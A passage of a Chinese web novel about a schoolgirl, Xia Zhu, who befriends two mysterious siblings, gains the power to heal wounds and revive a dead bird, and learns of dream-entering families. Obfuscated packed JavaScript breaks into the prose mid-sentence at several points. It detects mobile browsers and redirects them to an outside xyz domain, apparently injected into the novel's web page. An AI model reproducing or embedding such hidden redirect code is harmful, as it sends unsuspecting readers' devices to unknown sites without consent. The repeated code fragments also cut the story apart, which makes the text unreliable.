“同学,俺可以坐这里吗。”风枫的声音像她本人一样甜。 夏烛还能说不行吗。 她点了点头,友好礼貌,又不会太过热情。 风眠坐在了她们后面,最后一排有一张单人座位。 这样前后就形成了小说动漫中的主角阵列。 班主任开始上课,夏烛低头认真做着笔记,但是这些题她做了一遍又一遍,融会贯通,学习上她从来无懈可击。 当然除了考试。 “同学你好呀,俺叫风枫,你叫什么呀。” 桌面上伸过来一个毛茸茸的头,风枫眨巴着她的大眼睛,瞳孔在阳光下是融化的太妃糖色,她的脸在眼前放大清晰,鼻骨两侧还散了一些小小的雀斑,星星点点,特别可爱。 “我叫夏烛。” “哦~夏烛同学呀。”风枫把头收了回去。 两分钟后。 “夏烛同学,今年几岁呀,家住何方,家里几人呀~”风枫又越过了书桌线,她的脸蛋快要贴上夏烛的手臂了。 “咳咳。”风眠在她们后面咳嗽了两声,风枫怏怏地摆正身子坐好。 安静了十分钟,风枫的凳子上似乎有什么扎人的东西,她实在坐立难安,扭来扭去,最后从作业本上撕下一角,整个上半身趴在桌子上,写起什么来。 过了一会儿,风枫趁着班主任回头的间隙,将纸条揉成一团,越过肩膀向身后扔去,精准地砸在哥哥风眠的桌面上。 “这才有点上学的意思嘛。”夏烛听到她自言自语。 下课铃一响,风枫立马到座位后方,和风眠凑在一起交头接耳。 夏烛越过风枫的座位,打算出去。 “夏烛同学你去哪里呀。”风枫追了上来。 “我去厕所。” “俺跟你一起去!”风枫十分亲切的攀上了夏烛的手,这种感觉实在陌生,夏烛有些不自在,但并不讨厌。 她从小就爱在太阳下面疯跑,田间地头酷暑之中也没个遮挡,所以其实很风枫很像,她的皮肤也并不白皙,而是顺滑的,细腻的,自然的颜色。 也许比起风枫,她更像巧克力,微微发苦的那种。 深色皮肤是很好的神色伪装,就像此刻外人都不能看出她的脸颊发红。 “夏烛同学,你还没有告诉俺呢,你家住在哪里呀?” 家住在哪里是一件很重要的事吗,任何关系的开始,或者说社交的开头是否必须交待家庭住址呢,她没有过这方面的经验,虽然感到奇怪,但还是如实回答了风枫。 ”我就是东山人。“ ”哦?是从小到大就呆在东山吗,夏烛同学的家人呢?也是世世代代生活在这里?“ 夏烛停下了脚步,她看向一脸好奇的风枫,认真地打量了一下她。 总觉得少了点什么。 风枫被夏烛看得有些不好意思,暗暗想自己是不是太着急了点。 “应该是,听爷爷说我们家世世代代都住在这里。” 然后她们又继续往前走着。 风枫愣愣地点了点头,说哦哦哦,是这样吗,然后一路都不再说话,歪着脑袋,一副若有所思地模样。 她们从女厕回到教室,风枫就又和风眠凑到一起,眉飞色舞,手里比划着什么。 “怎么会是姓夏呢?” 风枫的音量提高了一度,夏烛听到她对风眠这么说。 姓夏对于他们来说是个错误吗,或者是对夏烛来说,她低着头,笔尖在纸上画着一个个混乱的圈,她的样子认真,看上去似乎在解一道困难的附加题。 一上午,风枫都没有再乱动或者凑上来说话,只是趴在课桌上涂涂写写一节课,然后又睡了两节课,直到放学被风眠叫醒。 按照计划,夏烛不想和大部队抢夺食堂,打算留在教室里多呆一会再去。 “夏烛同学!尝尝俺哥做的小蛋糕吧!”风枫往她的桌面上推来一盒卖相漂亮的纸杯蛋糕。 蓬松的蛋糕体上挤出一圈圈精致的白色奶油再叠加一些紫色的,洒了几颗莓果,莓果下蜿蜒出果酱。 “风眠做的蛋糕是全宇宙最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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或者按照正常的套路,叶理或许还会有那么几个附和着她金口玉言的小跟班。 可是事实上,她跟夏烛一样,独来独往了四年。 所以夏烛找到了她,鼓起勇气问叶理要不要一起吃饭。 结果是叶理皱起鼻子,说出了她今后四年面对夏烛总挂在嘴边的那句话。 她说什么味道臭死了,她还说吃什么,她才不吃穷人饭。 穷人夏烛叹了口气,对自己好不容易鼓足的勇气感到惋惜。对于叶理的咄咄逼人,她并不生气,因为艾草在她这里意味着温暖的家,意味着爷爷的爱。 而穷是客观事实,她当了十几年穷人,没什么好生气的。 只是因为穷,她格外喜欢亮晶晶的东西,所以就算叶理无视了她的好友申请,她也不怪她,可能正因为叶理有一张闪闪发光的脸。 漂亮得像一只骄傲小孔雀的叶理,总是昂着她闪闪发光的脸坐在任何地方的角落,与她隔着不远距离的另一个角落坐着被艾草腌入味的夏烛,也同样因为坐在角落里,夏烛偶然会看见她藏起漂亮的脸,低沉着一双暗淡的眼睛。 5. 第 5 章 “呕——”风枫把刚吃进嘴里的饭菜一口吐回了碗里,然后又念叨着不能浪费粮食皱着眉头吃了进去。 刚刚她还满怀期待地打了很多食堂的饭菜,她说民以食为天,她说人是铁,饭是钢。 夏烛内心实在喜欢风枫,因为她们想法一致。 只是这会儿饭菜对于风枫来说真如钢铁难以下咽了。 “夏烛同学,这么难吃,怎么培养俺们祖国未来的花朵!你们怎么忍受得了的!” 风枫对食物好像有很疯狂的热情和执念。 “哥,明天做了便当带来吧,不想吃这个了,吃得俺花也不开叶也不长了。”风枫耷拉着脑袋,还是将她盛来的饭菜消灭干净。 风眠在一旁吃得慢条斯理,保持着风度,但他眉头紧锁,看上去食堂的饭菜同样不合他的胃口,他笑着说好。 “也给夏烛同学带一份吧。”他转头对着夏烛说。 “我?”夏烛有点震惊。 “不用了,我吃着觉得可以,不用麻烦。” “哪里麻烦!风眠做的便当是全宇宙最好吃的!”风枫眯着眼睛,仿佛在回味哥哥的厨艺。 “就是,不麻烦,我一般都会做很多,顺手而已,而且夏烛同学,对待食物要认真,不能将就,也不能还可以。”风眠突然换上十分认真的神情,仿佛这是个严肃的话题。 夏烛有些不知道如何回应,兄妹两盯着她的感觉,好像如果她还是坚持拒绝,他们就能以不认真对待吃食的罪名将她逮捕。 “那一顿便当多少钱,我想买一份尝尝,可以吗?”她思考后这样回答他们。 “当然。”风眠又变成了让人如沐春风的好少年。 “哼。”标志性的冷哼是叶理出场的专属bgm。 夏烛对她出现在食堂感到吃惊。 对叶理来说,食堂不是穷人饭吗。 叶理抱着手臂从夏烛身边走过,留下一句“物以类聚”。 她才不会告诉她们,平时收了钱帮她拿外卖的女生,今天请假了,叶理饿得不行,但她又不愿意亲自走过半个校园,去后门拿外卖,只好趁人少来食堂,结果又碰到了夏烛和那两个怪异的新人。 冤家路窄,虽然夏烛这个冤家当得莫名其妙。 风枫和风眠呆呆望着叶理的背影,那好像是班上的同学。 他们对于物以类聚的评价倒是挺开心的。 夏烛同学善良又温柔。 嘻嘻,俺们也是。 风家兄妹愉快地对视了一眼。 吃过饭三人围着操场散了会儿步。 一路上风枫就“夏烛家祖上到底有没有从别的地方搬来东山”展开了一系列追问。 夏烛有些不懂她的关注点,但还是认真思考后一一回答。 但她的回答显然使风枫更加困惑了,连同风眠也在一旁再次皱起了眉头。 三人之间的氛围一时有些冷。 风枫突然一脸认真地望着夏烛。 “夏烛同学,俺是说如果,也许,有没有一种可能,你不是你爸妈亲生的孩子。” 风眠往风枫头上招呼了一巴掌。 “小枫。”他眼神示意风枫。 “这个我就不太清楚了。”夏烛想了想,老老实实回答。 “你要不,回去问问叔叔阿姨呢。”风枫星星眼。 “我爸妈在我很小的时候就离开这里了,我们一直没有联系,是爷爷把我养大的。” “啊?”风枫挠挠头,她放轻语气,“那问问爷爷呢。” “爷爷不在了。” “小枫!”风眠上手扯了她一下,“别问了,现在。” “对不起……我不知道,夏烛同学,对不起!” “没关系。”夏烛对她笑笑。 糟了,更愧疚了,风枫欲哭无泪,觉得自己做了很坏的事,今晚要睡不着了。 夏烛其实想问问,他们为什么要问她类似这样的问题,可是想想还是算了。 如果还有别的什么原因,他们想说会告诉她的。 风枫和风眠不住在学校,除了周末以外,他们都会和夏烛黏在一起,一起吃风眠做的便当,一起在体育课上比赛跑步,夏烛没想到风枫看上去小小一个却力大无穷,随便一扔就把学校男子铅球的记录破掉了。 风枫插着腰,鼻子要翘到天上去。这让也夏烛燃起了斗志,每天早起在宿舍多打了两套拳。 空闲的时候夏烛会去图书馆,上网查查关于山魈和绿石的资料,或者借阅一些相关的书籍。 当然还是没有收获。 这周双休她没有选择回家,而是打算再去学校的图书馆呆上一天,最后再查一查。 校园里的人不多,各种角落零零散散一两个,操场上倒是有几队训练的体育生,和一些散步的慢跑的。 图书馆所在的这栋楼更是安静,平时几乎没什么人来,除了上微机课的学生偶尔来这栋楼的二层微机室,除此以外各层中锁上门的空教室大多都处于闲置状态。 夏烛从电脑面前抬起头来,扭动了一下有些酸胀的颈部,她打算休息休息,放松一下眼睛,再顺便去躺厕所。 走廊上只有夏烛一个人,她怀疑是整栋楼都只有她一个,不对,图书馆里还有一个昏昏欲睡的管理老师。夏烛早上九点就来,管理老师醒着的时候都在电脑上玩消消乐,玩一会儿睡一会儿的。 不知道是不是回字形建筑的结构,她的脚步回声显得特别大,从地板荡出去沿着钢筋水泥发散,最后被回字形的天窗挡下几个来回,动能不减反增。 想起上周学生之间关于学校厕所闹鬼的传言,当时下课风枫还一脸神秘地凑到她面前,问她怕不怕鬼。 风枫这么问,她只想到山魈,如果鬼魂无形,倒是没什么可怕的。 “不怕。”夏烛斩钉截铁。 顶楼这层的女厕估计长期没人使用,推开大门,厕所内的空气闻起来是一种空置感,不是臭味,是长时间空气不流通的味道。 她站到洗漱台前,有些怀疑水龙头之类的设施是否能够正常使用。扭开水龙头,水管里传来一整令人难受的咕噜,夏烛能想象到水流正在艰难地攀升。 扑哧一声,终于有水流了出来。 肉眼看上出还算干净,没有铁锈之类的异物。 她把手伸到水下,刺骨的冷倒是让人清醒了许多。 关掉水龙头,夏烛抬头看见镜子里的自己,刘海整齐盖在眉毛下方,视觉上将她的上眼睑压低了许多,藏在厚重的眼镜后面,引以为傲的长发又直又黑亮,只是配上她这张脸倒是显得阴郁了些。 再次意识到自己某些方面和风枫很像,可为什么风枫就能长得十分讨人喜欢,是否因为她不会好看的微笑。 她对着镜子先勾起左边嘴角,再勾起右边,太好了,更呆了。 甩了两下手,夏烛转身准备离开,刚刚推开的大门突然像被一股无形的力量猛地摔上。 夏烛连同那些本就长久不流动的空气一起锁在了厕所里。 感觉上有些窒息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我知道了。”夏烛也点点头。 风枫觉得她没有任何表情,看不出生气或者难过只能赶忙解释:“夏烛同学,这颗石头对我们来说特别特别重要,也许关乎到了生命,不是我们不愿意告诉你,只是……” “石头给了你们,你们就会离开这里的对吗。”夏烛罕见地打断了别人的话。 “离开学校,甚至,离开这座城市。” 风枫沉默了一会儿,想起半个月来的种种,忽然有些不忍心。 “是的。” ”好吧。”她笑了笑,“这本来就是你们的东西,拿在我手上也没有什么用处。”既不会发光,也不会悬空。 将绿石物归原主放回风枫的手心。 可是石头的主人并没有太多失而复得的喜悦,反而将眉毛纠在一起。 她与风眠交换了眼神。 夏烛发现他们兄妹俩总是眼神交流,还挺默契。 风枫拉开校服外套的拉链,从内衬口袋里掏出一个小布包上面绣着造型奇怪的小鸡,布包上的结绳上还挂着一支颜色鲜艳夺目的羽毛。 拉开小布包,风枫挑挑拣拣,从里面捻出一粒小小的、棕褐色的坚硬瘦果,郑重其事地放到夏烛手心。 像是作为绿石的交换。 “俺的宝贝种子,夏烛同学,送给你。”风枫的声音轻飘飘的,有些不真实,她太妃糖色的圆眼似乎藏着水光而显得亮晶晶。 6. 第 6 章 风枫和风眠走了,在夏烛交出绿石的第二天。 和他们的姓一样,像一阵风从她身边刮过。 留下很多未知未解的秘密,让她在深夜翻来覆去难以入睡。 并且周围的同学,包括老师似乎都不记得有过这两人的存在。 她去办公室找到班主任,说要帮转学走的风枫同学拿回她的英语卷子。 班主任上下仔细打量了一下夏烛,将滑到鼻尖的眼镜重新推了回去。她语重心长道:“抓好学习的同时也要适当放松呐,咱们要劳逸结合是不是。” 夏烛离开办公室,路过三楼的雪松树冠,她也开始怀疑自己是否在精神方面出了问题。 可是回到教室随手翻开的一本错题集里夹着一颗小小的、棕褐色的坚硬瘦果。 那是风枫和风眠存在过的证明,也证明夏烛目前来说仍然算个精神正常的人。 放学的铃声一响,夏烛夹着装有风枫宝贝种子的错题集再次去了图书馆,她现在执拗得不行,十头牛也拉不回头。 这次夏烛换了目标,她打算从姓氏下手。 风姓家族的由来,网络上牵扯远古传说,只是版本不同,也无从查证孰真孰假。有了些虚虚幻幻的苗头,却如梦中之火无法真正触及。 晚饭时间已过,管理老师催促夏烛回寝室休息,她可是要按时下班。 夏烛只好离开,路过学校的小卖部买了些面包回去,只是味同嚼蜡,食之无味。 从来没有想过自己会评价食物的味道。 夏烛闻到一阵香味,她从睡眠中睁开眼睛一时之间以为自己回到了小的时候,是一个春天,春山的脊线在天尽头温柔的绵延,爷爷和她站在花树下,时日正是好风光,春阳艳艳缀在花枝上。 醒来之后夏烛发现房间内的香味并没有随着意识的归位而消失,反而愈加浓郁,那是一股自然清新的花香,新鲜到她甚至能闻到一些水汽,看见晶莹的露珠从花瓣上滚下。 从床上坐起来,眼前一片模糊,她摸了摸床头的位置,重新戴上了眼镜,然后下床。 不可思议的一幕让自觉不会再为任何事情惊心的夏烛屏住了呼吸。 不同于妖魔鬼怪带来的直接冲击,一丛犹带朝露在一个天光未明的清晨盛放的木香花,从书桌上的错题集书缝里伸出枝蔓,攀上窗框,夜色下无惧寒风傲然开着。 秀美的枝叶上开着红黄双色的,大朵的花,几乎遮蔽了半面窗洞。 夏烛走到窗前,小心翼翼地翻开错题集,花枝是从那枚干巴巴的瘦果里喷涌出来的。无土,无水,瘦果长出根系,牢牢地抓住一半的书本,仅用一本书的重量支撑。 一阵夜风吹来,花香生机勃勃带着潮湿的水汽扑向夏烛。 她总是冷淡的表情出现了裂缝,一个自然而然的笑窝在嘴角。 没有什么东西是比一丛气势汹汹在书里绽开的木香花还要有力地为她证明某些人的存在的。 夏烛心情愉悦地去教室上课,走廊上居然碰到一个对她打招呼的同学。 “夏烛同学,早上好。” 她走出了十米才反应过来,那人长什么样子,是男是女都没注意到,这会儿更是不好意思回头去看了。 也许是某个班上的同学。 虽然很稀奇,但她此刻却不在意了。 同班同学赵某望着夏烛无动于衷的背影若有所思,悄悄捏紧了拳头。 夏烛心情实在大好,甚至踊跃参加了寒假之前要举办的冬季运动会,她在女子1500米长跑的那栏上填写了自己的名字。将报名表格交了上去,回到教室的夏烛发现自己桌上又多了一盒草莓牛奶。 这段时间总是会有陌生的食物出现在她的课桌上。 警铃大作,她从不会吃来路不明的东西,又想起那晚的蓝皮怪物,自此夏烛总是留心观察身边的一切,势必找出意图暗害她的人。 把新得的这盒牛奶放进隔壁桌子的桌空,那里还整整齐齐码了五盒,还有一些小卖部售卖的小面包和鸡蛋糕。 夏烛心想,要诱惑她吃下不明食物,至少也是风眠做的那种程度才行。 如今小卖部的东西对她的诱惑力已然不同往日。 她兴致勃勃,每天中午都会回寝室一趟,找了个小喷壶装上清水,日日清早给那丛木香洒洒水,中午回去又修修枝,至少等风枫回来的时候,她想将花保持在没有枯萎的状态。 实在不确定,这丛不依靠土壤的植物何时会突然凋败。 夏烛想起风家兄妹,不免有些低落,她也没想到自己才和二人相处半月,就已经不习惯分离了,甚至反思自己是不是太过黏人,或者说不独立,她怕这样会给别人带来压力和烦恼。 暗暗发誓以后要改掉这一点,至少不能表现出来。 没有理由,总之,她就是觉得风枫和风眠一定会再回来的。 这天中午她又回到宿舍,打算修剪一下木香过长而垂下来的枝条,错题集上虽然压盖了几本厚重的词典,植物攀爬窗框依附墙壁的力量也与生俱来,但她还是担心花苞越来越多的木香会就此倒塌。 她举着小剪刀,剪刀是她用了几年的,刀锋可能不太锋利了,加之花枝实在粗实,剪起来很是费劲。 “嘶——” 果不其然,剪到手了。 一滴血珠沿着指尖滴落到木香花的叶片上,叶片被砸得颤颤巍巍。 夏烛抽了一张面巾纸先把流出来的血擦掉一些,可伤口还在往外冒血珠,她记得自己有买过创口贴,于是举着伤口翻箱倒柜地找起来。 终于在书桌下面的第二个抽屉里找到了。 她刚用嘴撕开外包装,对着自己手指上的伤口比划着,却见到那条不算浅的血痕像刚分开的水面一样又往中间合上了。 夏烛张着嘴,试探着捏了捏伤口,疼痛感似乎还在,却是一点痕迹不见了。 只有还未擦掉的血迹证明她刚刚确实受伤了。 呆呆地坐回椅子上,木香花还在冬日的冷风里招摇。 她的脑袋里装满了浆糊,考虑着要不要忍痛再割自己一下。窗外面突然冲进来一个东西,狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656055|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠撞在了书桌上。 夏烛吓了一跳,是一只灰色的雀鸟,扑腾着翅膀,四处飞扬着它挣脱掉的羽毛,然后奋力挣扎了几秒,躺在桌面上不动了。 摘掉自己头上的羽毛,她犹豫着伸手将小鸟捧在手上,手指轻轻按住它的胸骨,那里静静地不再跳动。 确实是死了。 大脑一片空白,她实在是不知道从何处开始思考,有一个念头在她的思维里东躲西藏她实在抓不住,或者还不敢抓住。 突然,好像是为了证明她的猜想一样,刚刚还死透的鸟,眼珠突然转出流光,小小的心脏在夏烛的指尖下重新跳动起来。 一只确定死亡的雀鸟,就在她的手里起死回生了。 灰色的小鸟展开小而稀薄的翅膀,掠过生机勃勃的花丛,穿过窗户,冲向天空。 夏烛仍旧维持着双手捧起的姿势。 她听见自己的心脏仿佛要逃离胸腔,如同一场精彩的演出在即将开始之前蓄力而发的鼓点。 这下确定自己需要再试一次了,于是她拿起那把修剪用的剪刀,不做任何消毒处理,挽起袖子,在自己摊开的手心上狠狠划下一刀,因为剪刀已经不够锋利,所以这一下她用了全力。 细密的血珠相互吸附汇成血流从破开的皮肉下涌了出来,疼痛让夏烛捏紧了自己的手腕。下一秒,两块分开的皮肤肉眼可见的聚合起来,她的手心发痒发烫,似乎在表层的皮肤组织之下,血肉正在加速愈合生长。 只几秒钟的时间,刚刚还流血的伤口已经不见,只有几道尚未干涸的血迹,沿着她的手腕流向手肘,像某种艳丽诡异的图腾。 窗外,夏烛看不见的地方,死而复生的灰色小雀振动着失而复得新生的翅膀在天光下飞翔。一道黑色的影子忽然掠至它身旁,张开尖嘴死死咬住了它细嫩的颈脖。 刚恢复生机的小鸟还来不及在风中追逐一会儿自由就再次陷入死亡。 而凶手是一只体型巨大,乌黑油亮的红眼乌鸦。乌鸦将灰雀从高空中抛下,然后朝着白日的方向飞走了。 窗户旁边,一片叶子在硕大花朵的遮掩之下,翻了个面,露出反面上金色脉络织成的眼睛,眼睛透过花叶的缝隙直直注视着坐在一旁面无表情实则内心惊涛骇浪的夏烛同学。 周末,这周虽然是单休,但夏烛还是一大清早就坐上了回家的大巴车,她拜访了住在隔壁的王婶,询问了一些关于爷爷,关于她父母的事情。 王婶告诉夏烛,她的父母确实有过一个孩子,也确实在生下孩子之后不久就连夜离开了村子,至于那个孩子是不是夏烛王婶就不敢肯定地给出答案了。 “夏老爷子把你看得比他命还重,小烛你怎么会不是他亲生的呢?就算不是亲生的,他待你也比别人家亲生的还好呢!”王婶是这样说的。 夏烛觉得也是,爷爷的爱她从不怀疑,如今自己突然有了能使伤口恢复,使小鸟起死回生的能力,纠结自己是否姓夏其实已经不再重要。 赶在天黑前她沿着山路小跑回镇上坐车,也算是为运动会做足准备了。 7.第 7 章 青春是什么。 这对于夏烛来说是个很难的问题。 在能称作青春的时光里她总是一个人。如果非要她回答,青春应该是一条漫长的山路,是急风骤雨中摇摆的草木,是暑气被夏雨蒸腾,是炽烈的阳光灼烧皮肤,是冻僵的手指和疮疤,是错题集和单词本,是书里才有的红烛昏罗帐和桂花载酒。 但她也想象过别人的青春,就比如此刻蜿蜒的操场跑道一圈圈没有尽头,从余光里飞逝的人群勾着手臂,搭着肩膀,眼泪和汗水一头往下浇,笑声和呐喊交杂着冲上白云青天。 夏烛觉得自己像一只蚂蚁,没有目的也看不透真相只知道闷着头往前冲,往前冲有什么,名次和奖状?她看着身边有一些陪跑的男生女生,就算被陪跑的人喘不上气了,远远被她甩在身后了,他们的汗水也是骄傲。 只有她毫无负担,连心脏也平稳而有规律地跳动,她看着终点就在前方,她想道路的尽头就算什么都有,只不会有人在等自己。 “夏烛!夏烛!” 可是人群中似乎有人在叫她的名字,甚至夸张地尖叫起来。 终点线围了一群人,端水的拿毛巾的,做好接人姿势的,有一个娇小的身影冲过人墙,举着双手用力挥着。 她没穿学校的校服,穿着甚至称得上奇怪,像一个遥远部落进城探亲的野人,阳光下两条红棕色的辫子里塞满了小小的各色的花,她的右耳闪烁着一颗棕色的亮晶晶的珠子,跟随主人的上蹿下跳而晃眼地闪动。 夏烛心想,万众瞩目的冠军这次终于落到她头上了,其实也不算万众,也许就两个人,那也足够了。于是她以完美的跑姿第一个触及了终点线绳。 “夏烛!夏烛!俺就知道没看错你!你这英姿飒爽的奔跑身姿颇有俺的风范啊!”风枫伸手扶住了夏烛,虽然她并没有虚弱到要人扶,两人沿着跑道慢跑着缓冲。 “风眠快!”风枫对着落在身后的哥哥招手。 “来了来了。” “毛巾!水杯!上!”风枫指挥着风眠往她跟前递东西。 “是是是,”风眠一一奉上,又掏出一个绿色小碎花的便当盒,上面同样画着两个跳舞的小人,“还有美味可口,丰盛营养的水果大拼盘哦~”风眠揭开便当盒子,里面是切好并且用心摆盘后的水果。 “不过得休息一会儿才能吃哦,夏烛同学。” 夏烛脖子上挂着毛巾,手里端着水杯,看上去还是那副表情,天知道她现在有多开心。 可是她装作淡淡地问出那个问题,想着不要显得自己太过激动,这样会再吓跑别人。 “你们怎么又回来了。” 其实她的意思是,你们能再回来,我很开心。 她带着兄妹二人回到了她的宿舍,一个人住其实很是方便,要带些无关的外来人员入内简直轻而易举。 风枫一进门就看到了她的木香种子已经开花,势头正好,攀着夏烛的窗户正奋力汲取着阳光,她眼睛一动,差点憋不住笑。 夏烛说自己要先去洗澡,空床板上的兄妹二人坐得老老实实,双手放在膝盖骨上,一脸谄媚说不急不急,夏烛同学先忙自己的事啦。 她有些无奈,洗了两个杯子给他们倒了水,想了想又找出几本她喜欢的书放在他们身边才去卫生间洗澡。 隔着水流和热气,夏烛大脑放空,如同前几次那样,找不到应该思索的苗头。 她和风家兄妹面对面坐着,这种场景让人熟悉,连同沉默的气氛一样。 “好吧,你们这次回来是继续上学或者只是参加一次运动会。”夏烛开口打破了沉默。 “咳咳,”风枫对上她的视线,“实际上俺们是来邀请你跟俺和风眠一起回家过个新年。” 新年?夏烛想想是快到了,期末考试已经结束,冬季运动会之后就是寒假的到来,再过十几天就是一年的结束另一年的开始了。 她迅速回想了一下往年春节是怎么过的,可那会想到爷爷,于是立马打住了回忆。 风枫见夏烛一直保持沉默,怕她拒绝又说:“还有就是,俺们回去之后想了想,不应该这么不明不白地就走了,有些事情也应该向你解释一下。” “夏烛同学……”风眠开口了。 “就叫我夏烛吧。”名字后面再加上同学,显得很奇怪,一种介乎于生疏和熟稔之间的奇怪。 风眠点点头。 “阿烛!俺可以叫你阿烛吗?俺都是这么叫阿若表姐的。” 夏烛点点头,脸上暗暗红了一些。 “阿烛,你最近有遇到什么奇怪的事吗?”风眠问。 “奇怪的事?是指你们走之后吗?”她想近段时间最奇怪的就是遇见他们俩了,当然还有山魈,不过这件事她打算以后再提,现在最重要的是搞清楚两人的身份,以及自己的能力从何而来。虽然这些事件之间或许有所联系,但她还是想先听听兄妹俩怎么说。 “是的,或许……你的身体有发生什么变化吗?” 总算是说到重点了,她眨眨眼睛。 “看来你们也知道了,我只是很好奇你们怎么知道的。”她朝着天花板望了一圈,“总不会在我的房间安了监控吧。” “是这个!”风枫突然伸出一根手指,朝着窗户的方向勾了勾,木香花丛传来一阵窸窸窣窣的声音,一片宽面叶片钻了出来,飞到风枫手中。 叶片上有一只金色的眼睛。 夏烛了然。 ”所以那晚,也是你。” 风枫不好意思地笑了笑。 “俺只想看看石头是不是在你这,被你藏哪儿了。” “所以能告诉我,”她学着风枫的样子竖起一根手指然后做了一个弯曲的动作,“这到底是什么吗?” “这是俺的相力。” “相力?”夏烛在脑子里检索了一下这个词语。 “是的,包括那个。”风枫指向那丛木香花,夏烛发现她的腰间别着之前见过的装满“宝贝种子”的小布包。 “其实那天,俺们第一次见面,是在梦里。”风枫做出一副要将一切都告诉她的表情。 “在梦里,只不过,不是你的梦。” “这个世界上几乎人人都会做梦,梦在某种程度上是人类执念与欲望的反映,一种名叫天生相的物质四散于普通人类之中,天生相会使欲念加剧,执念加深, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是的,我们第一次见面的样子你还记得吗?那是我和小枫在梦境里刚斩杀了魉,天生相石才从它的体内析出,我们还没来得及回收,你就突然凭空出现紧接着又消失了,连带还没有拿回的天生相石,一起不见了。” “你不是我们几大家族中的人,因为你有家人,有不同于我们的姓氏,更奇怪的是你甚至没有符钰。” “符钰?”夏烛问。 “符钰是家族的标志,也是入梦的钥匙。产生了魉的梦境不是随随便便就能进入的,必须持有家族符钰,至少,在不明官的历史上就没有一个身无符钰入梦的先例。” “这就是符钰。”风枫在一旁配合着将脑袋支过来,露出右耳上的棕色珠子对着她。“俺和哥哥一人一个。” 确实,风眠的右耳上也缀着一颗同样的珠子。 夏烛凑近了一些,珠子像一颗质地上好的玉石,通透晶莹,散发着一圈温柔的玉光,她发现珠子中间似乎还刻有一个图腾花纹随着视线在缓慢转动,那图腾像一棵随风摇摆枝繁叶茂的大树。 “还有一件事。”风眠的语气发生了一些变化,“就算你是某个家族流落在外的血脉也还说得过去,可是通过小枫的障目我们见到的你的能力——修复伤口,使鸟雀起死回生,并不属于几大家族中的任何一个。夏烛,你到底是谁?” 8.第 8 章 夏烛跟着风枫风眠坐上了回家的车。 也是大巴车,她原以为像兄妹二人这种能人异士回家出行都会采用一些神奇的方式。 什么小巷里的砖墙,废弃厕所的马桶。 风枫嘿嘿一笑,说有是有可他们没钱用。 夏烛想太好了,就算进入了不为人知的异世界貌似金钱也是一切的通行证,她还是个穷人。 欲哭无泪。 关于风眠的问题她实在无法给他答复。 她是谁?她只知道过去现在到未来,她都只会是夏烛,只是这件事也许牵扯到她的爷爷,她的父母,所以她也很想知道原因。 可是风枫风眠看上去比她还困扰,甚至她心中还有很的多疑惑他们也并没有解释通,夏烛之所以答应风枫跟他们回家一趟,是因为风枫信誓旦旦地告诉她:“虽然俺和俺哥无法告诉你,你的身世秘密,但是老妈博学广志,通晓古今!她什么都知道,你跟俺们回去,老妈会告诉你一切!包括俺们还没说的那些哦~” 于是她就跟着来了。 离开之前夏烛回了一趟家,今年新年不能陪在爷爷身边,她需要先去看看爷爷,告诉爷爷不用再担心夏烛,她似乎有了朋友。虽然前路仍旧大雾迷蒙,但她始终有信心能靠自己,即使逆风执炬必有烧手之患,也要一心向前,朝着清晰而明亮的未来。 大巴车晃晃悠悠,风枫说得先换乘几趟不同的车,到东山最东的树山镇,路途遥远,穿过几个隧道,时明时暗,夏烛昏昏欲睡。 似乎睡了一觉,她睁开眼睛,发现四周一片漆黑,先以为是大巴车又进入了某个隧道,可是身体稳稳当当没有在车里的摇晃感,并且四周异常安静。 等眼睛适应了此刻的黑暗,依稀能辨别周围事物的轮廓,她发现自己已经不在车内了,而是躺在一张床上。 一张和学校宿舍很像的床,也是下铺,她的正上方是上面床铺的木板,被焊接出来的床架支撑着。 意识到自己又进入梦境了,夏烛有些头疼。 躺在床上不敢轻举妄动,尽量放轻呼吸观察起四周。 一觉睡醒突然身处陌生的环境夏烛还是有些心慌,这个梦境不同于前面做过的梦迷迷朦朦,而是十分的真实,真实到她都怀疑是有危险分子趁着自己睡觉把她绑到了某个地方,准备打电话勒索亲人,不给钱就撕票,那么撕票一定是夏烛最终的结局。 她根本没有亲人,当然也没有钱。 背部坚硬的触感,和空气中的一股淡淡的奇怪的味道都显得不像在梦里,而是真实世界。 夏烛很想知道风枫和风眠是否有一起进入梦境,这种孤身一人的感觉实在令人不安。她思考着自己为什么又突然入梦了,在这之前的几个月里夏烛都没有再做过梦,也许是车程漫长身体太过疲惫。 还在分析着自己入梦的原因,黑暗中突然传来一阵哭声。 那哭声突兀,听起来又过于悲泣幽怨,在黑暗之中伴随着轻微的耳鸣钻入她的耳朵直达大脑皮层,她的手臂上立马竖起一层汗毛。 轻轻挪动了一下直挺挺躺在床上的身体,稍稍往外偏过头去,发现哭声似乎来自自己斜上方的床铺。夏烛观察了一下,这似乎是一间类似学生宿舍的地方,整个房间不算太大,在她的视野范围内只有两张上下床头对尾挨在一起挤在房间的一个呈90度夹角的角落里。 